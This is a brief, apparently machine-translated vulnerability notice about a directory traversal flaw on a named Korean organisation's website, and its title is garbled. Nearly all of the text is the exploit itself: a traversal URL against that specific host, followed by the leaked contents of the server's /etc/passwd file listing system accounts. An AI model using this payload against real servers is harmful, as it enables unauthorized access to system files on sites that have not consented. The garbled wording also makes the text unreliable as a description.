Korean station of the local contains a hole-vulnerability and early warning-the black bar safety net

url: http://www.kptc.or.kr/plaza/law.html?url=/../../../.... root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown...